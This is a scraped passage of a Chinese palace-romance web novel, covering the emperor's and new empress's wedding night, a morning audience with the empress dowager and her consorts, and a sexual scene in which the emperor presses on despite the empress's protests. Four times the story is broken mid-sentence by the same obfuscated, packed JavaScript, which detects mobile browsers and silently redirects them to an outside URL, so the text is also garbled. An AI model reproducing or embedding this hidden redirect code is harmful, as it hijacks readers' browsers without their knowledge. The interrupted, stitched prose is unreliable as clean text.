也许是屋中太过安静,又或许是无事可做,此时浴房中的水声此起彼伏,格外的清晰。 沈若辞想到了什么,脸颊一红,悄悄地别过脸去。 连嬷嬷已经帮她准备好了新婚夜要穿的衣裳,整整齐齐地叠在一起,就等皇帝出来后,换她进去。 她坐了一会,就被屋外的声音吸引了注意力。 “岳公公,表哥呢?亦心有要事跟皇上禀报。” 女子声音听起来稍显慌乱,急得像要哭了的样子。 岳常安回道,“呦,急事吗?连姑娘可以先跟老奴说,老奴去向皇上禀报。” 连亦心眼圈都红了,“此事事关重大,亦心还是亲口跟表哥说的好。” 岳常安知道皇帝今夜不想被打扰,但连亦心与皇帝的关系非同一般,他也不敢怠慢。 犹豫了半晌之后,岳常安徐徐回道,“连姑娘稍等一会,老奴进去禀报。” 连亦心点点头,在原地等候着。 屋内人影移动,烛光轻颤。元栩从浴房里出来,身上着一件红色的单衣,衣带系得松松垮垮的,衣服也不好好穿,露出大片的肌肤。 沈若辞坐在床沿,垂下头去假装没看到。很快地,元栩走到床边,沈若辞意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466150|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到对方要上床休息,准备起身让路。 男人强劲有力的手臂伸过来,修长的手指扣住她的下巴,微微抬高她的脸。他的手指一点一点捻去红唇上的口脂,指腹染上嫣红,她的双唇却更加娇艳。 沈若辞视线刚好落在他的胸膛上,交叠的衣襟松散开来,他的身体被看得一清二楚,完全不像外貌那般清俊。 那夜在她的闺房里,只有她脱了衣裳。他连外袍都始终穿在身上,只是被她抓皱了。 沈若辞头一回见到男人这个样子,野性又充满力量,看得她一阵面红耳赤。 口脂被抹去,元栩眼中的欲望更加明显了,就势俯下身要来亲她,她实在无法接受这个刚刚急着要走的男人,此时竟迫切地要与她……欢好! “皇上!臣女尚未沐浴。”情急之下,沈若辞随口扯了个理由。 元栩恍若未闻,一步步地逼近。 沈若辞只能后撤,她感受到了危险,像皇帝第一次要她那样,强势到让人无力抵挡。 可是屋中亮盈盈的,帐幔也没放下来,这人就不管不顾地要作弄她。 “皇上,唔……” 下边的话尽数淹没在交缠的呼吸里。 他的吻来势汹汹,沈若辞很快招架不住,呼吸急促起来,被迫与他纠缠。 “皇上……”岳常安站在门口挣扎了一会,几乎是小心翼翼地喊人。 沈若辞惊了一下,抬手去推他。元栩被她挣脱开,不悦地皱了皱眉头,但兴致丝毫不减。 没有得到回应,岳常安硬着头皮一口气将话说完,“启禀皇上,连姑娘有要事求见。” 交缠的身影滚到床上,床幔落下来。 沈若辞双眸起了雾,胸脯也起起伏伏。不是说同衾共枕就是了,可没说还要做这事啊。元栩对外边的声响置若罔闻,亲着她的锁骨往下。灼热的呼吸洒在身上,沈若辞觉得没有谁能把这头凶兽恶狼叫走的时候,一声“连姑娘”却让皇帝突然起身,他从帐幔中走出去,边走边说,“朕出去一会。” 连嬷嬷原本已将床前的帐幔放下来,放到一半,听到连亦心又把皇帝叫走了,心里不舒服起来。 平时也就算了,今日皇帝大婚,怎能如此儿戏,说把人叫走就叫走。 她虽是连家出来的,但凡事孰重孰轻,还是拎得清的。 皇帝披上外袍就走了,沈若辞红着脸从床榻上坐起来,头发散了,嫁衣也扯乱了,模样看起来有些可怜。 连嬷嬷暗地里叹了口气,走上前去,“娘娘,老奴先服侍您沐浴。” 沈若辞点了点头,“有劳。” 锦云捧着换洗的衣物跟进浴房,忍不住嘟哝了一句,“连姑娘面子真大。” 连嬷嬷一个眼刀过来,锦云立马噤声。 七夕宴的时候,沈若辞就知道皇帝对这个表妹非同一般。今日亲眼所见,更是验证了她的想法。 原来传言皇帝属意袁妙莹一事是假,喜欢他的小表妹才是真。 锦云到底没忍住,私下惶惶不安地问连嬷嬷,“皇上不会就不回来了吧?” 35. 第 35 章 连嬷嬷摇摇头示意她闭嘴。 沈若辞泡在温水里边,假装没听到,她舒舒服服地伸了个懒腰,心想不回来最好了。 泡了一会,连嬷嬷准备干净的布巾帮沈若辞擦干身上的水珠。 年轻女孩子的身子莹莹如白玉,□□细腰,香软诱人,一双玉-腿更是修长又笔直,看一眼,都会心肝儿乱颤。 就这身段容貌,随便挑出一样,都能让男人失了魂。 沈若辞不习惯连嬷嬷的伺候,她接过布巾,自己将身子擦干净,然后披上锦云送上来薄纱寝衣,皱着眉头回到床上。 皇帝走的时候,没说不回来,她只能坐着等。 夜深了,屋中到处都是喜庆的红,却透着一股冷冷清清,偶尔有烛火跳动,发出“哔啵”的响声,一瞬而过,屋中又恢复沉寂。 沈若辞身披薄毯,乖巧地坐着等待,明丽的面容略显憔悴,很明显是折腾累了。 连嬷嬷看了一眼烛台上已燃了大半的龙凤喜烛,稀松的眉头皱得更紧。 洞房花烛夜,把新郎叫走了,连亦心揣的什么心思,连嬷嬷心里跟明镜似的,清楚得很! 她从床尾拿来锦被,披在沈若辞身上,扶着她躺下,“娘娘先睡一会,皇上回来老奴再叫您。” 沈若辞早就困得不行,一听这话,立马就躺下了,脑袋沾了枕头,不出一会儿就从睡梦中发出均匀的呼吸声。 长夜漫漫,等待的时间最是漫长。 一夜过去了,如她所料,皇帝彻夜未归,她白等了大半夜。也幸好连嬷嬷善心大发,让她睡了一两个时辰。 纵使是小睡了一阵,但碍于沈若辞身子骨差,经不起折腾,一早醒来气色看起来便不好,就算在锦云一双巧手的精心打扮下,仍看得出人很憔悴。 与沈若辞宫中的清冷不同,一大早薛太后宫里边异常热闹,后宫里的四位嫔妃悉数到齐,各怀心思,迫不及待地要会一会这个新皇后。 薛雪媚第一个来的,自昨夜知道皇后是沈墨的女儿后,便想来找太后诉苦,哪知当场吃了闭门羹,只好悻悻地回自己宫中。 经过一夜的消化后,她仍接受不了现实,“姑母,您说那个病秧子哪点比我强了,她哪里配得上皇后的位置!” 薛太后昨夜对众人闭门不见,自己关起门来想了半宿,也大概弄明白皇帝打的什么算盘。 至于沈若辞,不过是皇帝拉拢人心的棋子罢了,保不准没用完就扔了。 薛太后被薛雪媚闹得头疼,冷冷地瞥了她一眼,冷笑道,“你觉得皇帝能真心对她好?” 薛雪媚顿了一下,若有所思地望向姑母。 薛太后还不到四十,又因为养尊处优,保养得当,看起来还算年轻漂亮,只不过眼底似有若无的凶气让人觉得不舒服。 薛雪媚心底里还是有些畏惧这个姑母的,这时候见她轻轻抚了抚衣襟,饶有兴致地说道,“岳父还在大牢里,就用尽手段把人家女儿弄到手,你说皇帝是真心的不成?” 要说皇帝真心实意把后位奉上给沈家的女儿,她是一点也不相信的。那逆子从小就心思阴沉,又与沈相不对付,能这么做必然是事出有因,保不准还有什么不为人知的阴谋。 “好了好了,此事你知晓便好,千万不要外传。” 薛雪媚终于破涕为笑,朝薛太后点了点头,她才不会傻到说出去,这事她自己知道就好。 早膳过后,各宫的妃子纷纷前往薛太后宫中。沈若辞由连嬷嬷陪着达到的时候,屋里边已黑压压一群女人。 她依照连嬷嬷教给的规矩向薛太后请安之后,便在下首坐了下来。 自沈若辞进屋来,几位妃子就开始抬眼去打量她,待见到她容貌憔悴,面色苍白,一副不大好的样子,私下都生出几分欢喜。 薛太后已得知沈相昨夜进宫来闹过一场,也知道元栩离开后就彻夜未归,她脸上堆满笑容嗔怪道,“这皇上也真是,半点交待也没有,就把你带进宫里来,想来沈相还不知道吧。” 沈若辞微微一笑,“父亲昨晚已知晓此事。” 薛太后看不出她的,又试探道,“皇上性子自小给惯坏了,昨夜你俩大婚,他不留在宫中陪你,可委屈你白等一夜了。” 乍一听像个明事理的长辈在斥责不省心的孩子,但听在他人耳里,便是坐实了皇帝大婚夜彻夜未归的事实。 几位妃子心想皇后也不过如此,不也一样在皇帝那里受到冷待,众人心照不宣地对视一眼,继续看好戏。 沈若辞只是默默地听着,等薛太后说完了,才应了一声,“皇上政务繁忙,臣妾说不上委屈。” 沈若辞怕得罪皇帝,什么话都挑好的说。 几位妃子听皇后大婚夜被冷落,别提有多解气了。皇后也不是谁都能当的,她们排着队等了两年,凭什么让一个罪臣之女捷足先登。几个人都铆足了劲,想要看这位新皇后的笑话,可还没说上话,皇帝突然过来了,屋中的氛围也突然变了,众人的焦点都落在这个男人身上。 薛太后脸色微微一变,见皇帝对她行礼问安,也就露出笑容来,“皇上来啦。” 元栩在沈若辞身旁坐了下来,像寻常母子一样开玩笑道,“太后没说朕的坏话吧。” 薛太后不觉得是玩笑话,皇帝是赶着来试探她,生怕她在沈若辞面前,说出什么不好的话来,坏了他的好事。 薛太后笑得耐人寻味,“这时间过得真是快啊,没想到如今皇上也到了大婚的年岁了,想当初皇上刚登基的时候,大殿上文武百官齐声跪拜,皇帝就缩着脖子坐在龙椅上,身子僵硬一动不动,半天不吭声。本宫就寻思这孩子该不会闹脾气了吧,故意为难这群臣子,不让人起来。哪知等到本宫上前一看,你们猜怎么着……” 沈若辞原本没什么心思听她讲这些,但是薛太后故意卖关子,她也不好意思不捧场,跟着众人投过去好奇的目光,等她继续说下去。 薛太后见众人期盼的目光,更加起劲,脸上泛着红光,笑声也一串接着一串,“这不看不知道,一看才发现,这皇上啊……就这么当着群臣的面,给吓得尿裤子了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470983|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她抚着胸口笑个不停,脸上带着几分久违的得意。那几年里,她逢人便提这件事,后来皇帝日渐疏远她,也好久没有机会拿出来讲了。 难得今日人员到齐,她旧事重提,讲得比当年还起劲。 起初还有人跟着陪笑,到了最后,只剩下薛太后一人的笑声,在空旷的宫中尤为突兀。 先帝英年早逝,元栩登基的时候还不到七岁。一个七岁大的孩子面对大殿中乌泱泱几百号人同时开口,那庄严压抑的气氛很难不害怕。沈若辞没有跟着笑,因为嘲笑一个小孩子并不是什么有趣的行径。 她微微侧头过去看皇帝,只见他坐得散漫,丝毫不受周围笑声的影响,有一下没一下地逗弄对面的金丝雀。 坐在鸟笼旁边的淑妃羞得满脸通红。 等薛太后笑够了,皇帝才不疾不徐地站起来身来,淡淡地说道,“朕还有事要忙,便不久留了。” 话刚出口,几个女人的目光齐刷刷地落在皇帝身上,见他转身就要离开,个个都面露失望,甚至觉得皇帝没有留下来,都是因为沈若辞在这里的缘故。 恶意来得莫名其妙。 皇帝走了也好,她们可以会一会这位新皇后。 哪知原本已经走出几步的皇帝突然回过头来,冷声道,“皇后身子骨不好,若是没什么事情,还是早些回宫歇息吧。” 沈若辞本来也没打算久留,凡事走走过场就好,没有必要演得太入戏。 但是她也不想和皇帝一起走,只恭恭敬敬地回了个“是”,想等皇帝走后再找个借口离开。 就磨蹭这一小会儿没走,沈若辞视线忽暗,手腕被人攥住,一股力量将她整个人从椅子上拽起来,接下来便不分青红皂白地往外拉。 众人连带太后都看得目瞪眼呆。 昨夜雪辉宫的事情都私底下打听到了,皇帝彻夜不归,皇后新婚之夜独守空房,想来皇帝也不是真心立后。 今日见此场景,惊讶之余都忍不住相视一笑。 其实皇帝并非有意拖拽沈若辞,他身形高大,腿又长,步子迈开本来就比寻常人要大,沈若辞跟不上他的脚步,又被紧紧拉着,从后边看过去,就像是被强行带走。 等出了太后宫殿,皇帝才放慢了步子,但依然握着沈若辞的手没有放。 沈若辞试着收回手,皇帝却握的更紧,她只好作罢。 两人走了一段距离,都没有说话,最后元栩先开的口,“怪朕?” 这话问得莫名其妙,沈若辞一时语塞。 元栩以为她没听见,长袖下按了按她的手。 虽说两人已有过肌肤之亲,但这动作对沈若辞来说,像被人轻浮了一般,莹白的脸颊瞬间染上一层薄红。 元栩觉得女孩子就该是这样,双颊泛着浅浅的粉,看起来才赏心悦目。 他停下步子,将沈若辞端详了一会,才严肃道,“直接回雪辉宫去,没朕的命令不准乱跑。” 沈若辞知道宫里犯错的妃子会被禁足,皇帝这么说,大概是想把她给禁足了。 36. 第 36 章 她想要的不是能在宫里自由行动,是想直接出宫去,眼下还不是机会,她没有必要为这事触犯他,乖顺地点了点头。 得到想要的答案,元栩吩咐宫人将沈若辞送回雪辉宫,自己则是去了前殿。 大殿里,连骁一早便等着召见。 “朕大婚休沐三天,舅舅一早进宫见朕,是来祝贺朕的?” 元栩虽一夜未睡,但整个人神采奕奕地走入殿中,看不出半分倦意。 与之相反,连骁的脸色却黯淡无光,他知道皇帝打的什么算盘,又见他意气风发的模样,忍不住泼他冷水,“皇上不觉得迎娶沈家女一事欠妥?” 元栩假装听不懂他话中有话,眯起眼睛反问道,“朕与沈相结为亲家,日后沈相便可全心全意为大魏效忠,有何不妥?” 连骁沉下气来,“想要拉拢沈相有许多种方式,皇上明知沈相最宝贝这个女儿,却偏要从她入手,沈相能真心听朝廷派遣?” 元栩忽地想起沈若辞上回在街上晕倒,便是由连骁救回府里,他心下了然,面上却不露声色,“皇后已入主雪辉宫,舅舅现在同朕说这些话是何意?” 连骁试图说服他,“臣听闻沈相昨日连夜进宫讨要女儿,依臣看,眼下知道此事的人并不多,况且皇上昨夜彻夜未归,未与她有夫妻之实,不如依沈相的意思,放沈家女回去。” 元栩觉得有趣极了,不管连骁这番话是为他打算,还是为得到沈若辞,他都要对这个舅舅刮目相看。 他假装没看穿连骁的意图,却话里有话刺激他,“朕做事,可曾有过反悔的时候。况且沈家女不管才貌都深得朕心,于朕而言,都是有利无害,舅舅何必操这个心。朕昨夜亏欠皇后,今日要将洞房花烛补上,舅舅若是没有其他事,就回去吧,朕要先去补个眠……” “皇上!” 连骁看中沈若辞的美色,想将她困于后宅占为己有。女人用美貌取悦男人,是天经地义的事情,他也会给她该有的宠爱。可如今亲耳听皇帝同样觊觎她的美貌心里却大不是滋味。 他忍了忍,“皇上当以大局为重。” 元栩不以为然,“是舅舅多虑了。”他一副油盐不进的模样,打着哈欠离开了。 连骁仍立在原地,一阵陌生的无力感袭上心头,他无法想象,沈家那朵弱不禁风的娇花,落入他恣意妄为的外甥手中,会被摧残成何种模样。 皇帝昨夜彻夜未归,今日连半句安抚的话都没有,还直接把皇后给禁足了,此事很快就被耳目传回薛太后宫中。 薛雪媚等人都觉得这个皇后当得也忒窝囊。 尤其是淑妃,今早皇帝的目光一直在她身上留连,想来是终于发现她的美貌,她觉得自己要熬出头来了。 薛雪媚鄙夷地瞥了淑妃一眼,选择忽视,她突然想起一件事来,“姑母,听说皇上并没有跟那个女人圆房,您说皇上是因为……身体不行?还是讨厌那个女人,不想碰她啊。” 薛太后并没有接话,心里却冷笑道,皇帝哪里是不行啊,分明就是不愿意碰沈相的女儿。 他如今为了大局娶了不待见的女人,就算给了沈若辞至高无上的位置,却也像厌恶她选入宫的人一样,不留情面地憎恶于她。 薛太后看着皇帝长大,自认对他的性子很是了解,他那些曲曲折折的心思,一点也没能逃过她的法眼。 这些话自然也不能说出来,她正色道,“皇上可能是政务繁忙,无暇顾及皇后罢了,休要胡乱猜测。” 薛雪媚听完太后的说辞,心头掠过一丝欢喜,红着脸道,“臣妾也是这样认为,皇上身体那么好,怎么可能不行呢。” 连亦兰看不惯她那娇纵的模样,用帕子捂着嘴笑道,“姐姐倒是会自欺欺人。” 说得好像皇上身体好,她就能用得上似的。 薛雪媚回瞪了她一眼,嘲讽道,“你们这些表姐啊表妹的,也不见得就有特别的待遇,皇上这些年给过你一个正眼?” 这话直往人心窝子里戳,连亦兰被戳中了痛处,心底里很不是滋味。当年入宫前,她收到过皇帝的口信,劝她不要进宫。可她那时候为能入宫成为他的女人满心欢喜,哪里听得进那些劝告。她几乎是没有犹豫,听从连骁的安排,毅然决然地入了宫。 可现在她开始怀疑,自己是不是选错了路。皇帝对她几乎是不闻不问,可对连亦心,却是非同寻常的好。 明明她才是他的妃子,可到头来竟还不如自己的妹妹。 连亦心这边,也不如连亦兰想的那般称心如意。 昨日她入宫参加喜宴,遇见随袁家女眷一同入宫的袁妙莹。心里止不住嗤笑她,前阵子袁妙莹可是风头最盛的“准皇后”,今日被现实打了脸,不偷偷躲起来哭鼻子,竟还有脸来宫里,是嫌还不够丢脸吗? 有这样的想法的人不止连亦心一个,还有后宫几位妃子。 所以当袁妙莹好不容易接近薛雪媚,央求她带自己去见薛太后,说有重要事情要禀报的时候,她毫不留情地拒绝了,“太后娘娘不是谁都能见的。” 袁妙莹窘迫得抬不起头。 事后连亦心趁众人不注意的时候,找到角落里的袁妙莹,问她见太后娘娘所为何事。 袁妙莹正苦于无人理会,见主动上前来的连亦心,知道她与皇上要好,转而求她带自己去见皇帝。 连亦心自然不傻。 她逼问袁妙莹一番之后,竟得到惊人的消息——沈若辞婚前与男人私通,早已失了清白之身。 连亦心喜出望外,就知道按她梦中的情节,不存在沈若辞这号人做了皇后。 一个失了贞洁的女子,如何做得了皇后呢。 连亦心唇边现出一抹笑意。真好啊,一打瞌睡就有人送枕头。她按捺下心头的喜悦,将袁妙莹带到一处偏殿安置后,便过去雪辉宫找皇帝。 不出意料,元栩跟着她一同去见了袁妙莹。待袁妙莹说出沈若辞失贞于马瑜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479173|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春的时候,皇帝果然怒不可遏,连夜就带着人出宫去了。 原本以为,皇帝去找马瑜春对质,问清楚实情后,就会回宫里废后。 哪知一直等到第二天早上,等来了马瑜春被收押的消息,却迟迟不见废后的圣旨下来。 连亦心稍作打听,才知道马瑜春是因强占民女一事被收押,根本没有任何有关皇后的言论。 与此同时,连亦心也打听到另外一个消息。皇帝昨夜也去了一趟国公府,离开后,袁家连夜将女儿送到了鸡笼山上的一个小道观里,对外称是养病。 连亦心对此事深表怀疑,谁家千金小姐会到那种荒山野岭去养病呢?更何况昨夜她见袁妙莹的时候,人分明还是好好的。 这整件事下来,丝毫没有按照她设想的结果走,皇后仍好好的留在宫中。 沈若辞从薛太后宫中回来后,就直接上床补觉了。皇帝不是真心要她当皇后,她也不必用心对待,各取所需罢了。 这么一睡,就睡到了黄昏,午饭也没吃,还是饿醒的。 她迷迷糊糊地揉了揉眼睛,坐起身来朝唤道,“阿茉,现在是什么时辰了,我肚子饿了。” 锦云忙上前回道,“娘娘,阿茉姑娘在尚宫局的嬷嬷那里学习呢。奴婢先伺候您梳洗,晚膳已经在准备了。” 经锦云的话一提醒,沈若辞才想起来这里不是沈府。 她掀开被子,从床上爬起来。阿茉被送去学规矩,人生地不熟的,也不知道她过得好不好。 沈若辞有些担忧,“锦云,你说阿茉要学多久啊?” 锦云也说不准,她不敢揣测皇上的心思,摇摇头回道,“奴婢也不清楚。” 屋里的灯一一被点亮,连嬷嬷从外边进来,“娘娘先用晚膳,皇上晚一点要过来。” 沈若辞心头咯噔一下,她本以为皇帝会就此冷落她,她也好图个清净。可是这一天见几次,她哪里有精力应付。 宫里的第一顿晚膳,原本饥肠辘辘的沈若辞吃得不香了。 饭后在花园里走了一圈,沈若辞始终恹恹的,提不起劲来。但连嬷嬷却一个劲儿地催,催她沐浴更衣,催她梳妆打扮。 沈若辞知道连嬷嬷严谨惯了,凡事都要按照宫里的一套规矩,做到极致。若想讨好皇帝,有这么一个人尽心尽力帮忙张罗大小事物,确实是一件美事。 只是这些力气用在她身上,算是白费了。 沈若辞从浴房里出来后,就直接钻床上去了,裹着被子不肯出来梳妆。 连嬷嬷一想到昨夜没能留住皇上,今日下了狠手,给沈若辞挑了一身更加清透的寝衣。 沈若辞没能体会连嬷嬷地良苦用心,只觉得羞人得很,她掀起被子往里面瞧了一眼,无奈地呼出一口气,“嬷嬷,您给我换套衣裳吧。” 连嬷嬷像是没听到她的控诉一般,自顾自地从袖袋里掏出一个香囊,“娘娘私下收好这个,最好随身带着,皇上喜欢这个味道。” 37. 第 37 章 沈若辞接过香囊,拥着被子坐起来,她翻看了一下外观,杏色的布料上绣着一枝翠竹,并无什么特别之处。 只是这香气,并不是什么好闻的香料,而是普通的草药香气,跟皇帝身上惯有的味道一模一样。 沈若辞记得皇帝说过,他说这药香能治他的头疾。 她打开香囊,细细研究一番囊中的药物,发现只是普通安神的药材,忍不住在心里嗤笑一声。也不知道是哪个庸医开的,被骗了这么久,皇帝竟也没发现。 沈若辞犹自腹诽,她收好香囊,便听到屋中有些许动静,一个抬头,就见皇帝正缓步过来。 “什么事,这么开心?” 他皱着眉头,似乎有些不满。 沈若辞压下嘴角,匆匆地从床上下来,鞋子也没有来得及穿上,赤着脚跪在地上,“臣女……臣妾参见皇上。” 元栩这才发现,她身上只披着一件薄薄的纱衣。此时刚入秋,天气并不很冷,可她久病在身,哪里承受得住,便责怪道,“你这身子,穿这么少?” 沈若辞这才回想起来,自己身上穿了什么,被他这么一提起,瞬间红了耳根,窘迫地站在原地,一时不知该作何反应。 元栩褪下披风,打算给她穿上,视线落在她身上,纱衣薄如蝉翼,纱衣下婀娜的曲线一览无余。 杏色的小衣上绣着大朵的芍药,穿在她身上,峰峦起伏,芍药花绽放得彻底,娇艳欲滴。细腰下,长裙一路延展到地面,莹白的足尖若隐若现。 这莫不是来要人命的。 只一眼,他便觉得喉头发热,心神也杂乱起来。 元栩深吸了一口气,告诫自己凡事要循序渐进,切不可让欲望扰乱了心智。他脸色骤沉,冷冰冰地将披风递过去。 “穿好。” 沈若辞依言接过披风。 见他面色不佳,就知道皇帝定是以为自己逾矩了,在肖想不属于她的东西。 她垂下眼眸,将披风穿上,掩住了窈窕的身段。 元栩个子高,他的披风穿在沈若辞身上,下摆直接拖地了,他看得眉头紧锁,最终还是喊来锦云,叫她给沈若辞换一身外出的衣裳。 锦云上前褪下沈若辞的披风,连嬷嬷随手接过来走到皇帝跟前,“皇上可要外出?” 元栩点点头,“朕跟皇后出去走走。” 沈若辞感觉背脊一寒,忍不住打了个哆嗦。出去走走,做什么? 沈若辞看了一眼屋外漆黑的天色,无法揣测出圣心,只能眼巴巴望向连嬷嬷。 连嬷嬷立即心领神会,“皇上,娘娘饭后已经出去走了一趟。” 沈若辞像见到救星一般,心里刚小小雀跃了一下,就听皇帝淡淡地说,“那就安寝吧,省得折腾了。” 连嬷嬷上前替他更衣,却被制止皇帝制止,他拿眼瞧了瞧沈若辞,“让她来。” 沈若辞有些猝不及防,愣了一下才走上前去。 前段时间,连嬷嬷教过她好些规矩,更衣便是其中一项。她略微回忆一下过程,伸手去解他的腰带。 皇帝腰间并无其他佩饰,只有一枚洗得发白的香囊,上边绣着一匹骏马,看不出有什么特别之处。 沈若辞拿过腰带香囊,正待收起的时候,就闻到一股草药的香气,这香味跟连嬷嬷给的那个香囊如出一辙,她突然明白过来连嬷嬷的用意。 幸好香囊里只是普通的安神药物,于她有益无害,不然她也要跟着瞎遭罪,沈若辞一路想,一路已替皇帝褪下外袍。 他的身体有着流畅的线条,笔挺修长,她脑中忽地想起昨夜被他步步逼近的那一幕,没由来面红耳赤。 不过一想到后来他被连亦心叫走,当着她的面离开,又彻夜未归,便知他不过是做做样子,心底里没准有多厌烦她。 念及此,沈若辞也松了一口气。 褪下外袍后,她站在床边,等元栩先上床,她才小心翼翼地爬上床去,几乎是挨着床沿躺下,离他远远的,尽量不去讨他嫌。 她虽身子不好,也想多活几年。 帐幔放下来,屋中仍燃着大红色的龙凤喜烛,亮堂堂的。沈若辞在想这宫中的规矩真是奇怪,在民间只有洞房花烛夜需要燃高烛,没听过第二日也要的。她拉起被子盖好身子,安安静静地躺着。 元栩起初也安静地躺着,但等了许久,也不见旁边的人有丁点动静。 难道连嬷嬷就没有好好教导她吗? 她如今都成了他的皇后,怎还如此冷淡,不懂得要主动伺候枕边的君王? 这些年来,宫里头的妃子宫女,哪个不是拼了命想往他床上爬,奈何他眼界高,哪个都看不上。 大婚前他就着沈若辞就是了,可如今她是皇后,是他的妻子,难道不该主动邀宠吗? 他越等越是着急,越想越是气闷,最后也顾不得什么架子了,翻过身去盯着沈若辞,想让她萌生点该有的自觉性。 可是转身才发现,旁边的人早在他郁闷不已的时候,已经进入了梦香。 她竟然睡了?就这么睡了? 元栩一时想不过意,伸手就要去推她,手却不自觉地在要碰到她肩膀的时候停了下来,隔了一会才轻轻地落在那白净的脸颊,作势掐了一下。 沈若辞似乎感觉到被欺负了,卷翘的长睫毛轻颤了一下,元栩心虚地快速收回手。 她的脸颊盈润泛着光泽,小扇子般的睫毛乖顺地覆在眼帘,看起来秀气极了,不似平日里睁着眼睛那般妩媚明艳。 她呼吸浅浅的,睡容恬静。 帐幔中有淡淡的暖香,是她身上好闻的气息。元栩皱了皱眉头,不甘心地瞪了她半天,才缓缓地吐出一口气,躺回去睡觉了。 入夜渐凉,元栩平复了很久,才压下身体的燥意逐渐入睡。 沈若辞早已进入了梦境。 梦中她像昨日一般,依旧穿一身大红嫁衣,只是衣裳有大滩的脏污,让人感觉不适。 沈若辞听到哭声,注意力从嫁衣上抽离。 她偏头去看,偌大的宫殿里,一个人的背影孤零零的,披散着头发跌坐在地上。 “沿沿……” 叫的是她的小名。 她认识这人? 沈若辞好奇地往前走去,想要看清男人的脸,可是他垂着头,遮住了样貌,她没法看清楚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483652|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你,是谁啊?” 那人恍若未闻,动也不动一下。 沈若辞有些急了,连问了好几声,依然没法得到回复。她伸手去推他的手臂,却发现手掌穿过他的身体,并没有落在他身上。 咦? 沈若辞这才疑惑地抬起自己的手,看了又看,并没有异常之处。她起身往屋中的桌子走过去,发现身体竟然穿过桌面,丝毫不受阻拦。 她惊讶极了,迷迷糊糊地喊了一声,又觉得喉咙又干又渴,便开口道,“阿茉,口干,要喝水……” 她闭着眼睛,似乎仍在梦中。 朦胧中她感觉有人将她抱起来,喂了一口温热的参茶到嘴里,却有一半顺着脖子往下钻。 阿茉还在尚宫局学习规矩,喂茶的人自然不会是她。 元栩好不容易熬到入睡,就听见身旁起了动静。眼睛一睁,旁边的人嚷着要喝水。 他从来没伺候过人,但还是本能地倒了水回来,又将人抱在怀里,抬高水杯喂她喝水。 他连喂了三次,沈若辞才将杯中的参茶喝尽。 元栩心想伺候人也不是什么特别难的事情,他放下杯子,目光不经意落在她精致下颌,顺着浅浅的水痕往下。 胸口的小衣不知何时湿透,映出淡淡的粉色,他这才发现方才那杯水,有一半没有进她的嘴里,都被她的小衣喝了。 入秋气候干燥,元栩突然觉得今天夜里更甚,连他自己也渴得慌。他摸到见底的被子,往里边瞅了一眼,愈发觉得口干舌燥,视线又不自觉地回到那件濡湿的小衣上。 他无力地闭了闭眼睛,企图压下心中的欲念,都怪这女子生得太好,浑身上下哪一处都是佳品,几枝芍药花湿了水,妖冶艳丽,引人采撷。 做了这么多年的皇帝,元栩很少委屈自己,脑子里想什么,便做什么,他鬼使神差地俯下头。 奇怪的触感,时而温柔,时而强势。沈若辞梦中感觉到被打扰,她下意识伸手去推,缓缓的睁开惺忪的双眼——眼前的一幕,叫她又急又羞。 “你无耻!” 这话脱口而出,她捂着几乎被扯落的小衣,眼眶红了一圈。 那男人恬不知耻,好不容易松开她,似乎仍意味未尽地舔了舔嘴角,“沈若辞,朕就是喝一点水而已。” 沈若辞并没有辩解的机会。 湿衣服自然不能穿在身上,尤其是身子骨不好的人,他很贴心地替她除下湿透的衣物。又迫着她帮他也脱下贴身的衣物。 龙凤喜烛映照着她水盈盈的双眸,白玉无瑕的肌肤也透着粉色,沈若辞双颊滚烫,目光无措,不知道该往何处安放。 元栩终于见到她在大红色鸳鸯锦被上绽放的模样。他曾想过有这一天,他要命人将屋中灯火一一点上,要整个屋都亮堂堂的,用来看她。 陌生的情绪冲击着他的身体,眼下他反悔了,他甚至恼怒自己命人点上床边的龙凤喜烛。 沈若辞被他直白的目光看得无所适从,趁他不注意扯过锦被,却被他擒住手腕,只遮住半边身子。 柔嫩的肌肤,如冷玉一般泛起淡淡光,被大红色的锦被一衬,妖冶艳丽到极致。 38. 第 38 章 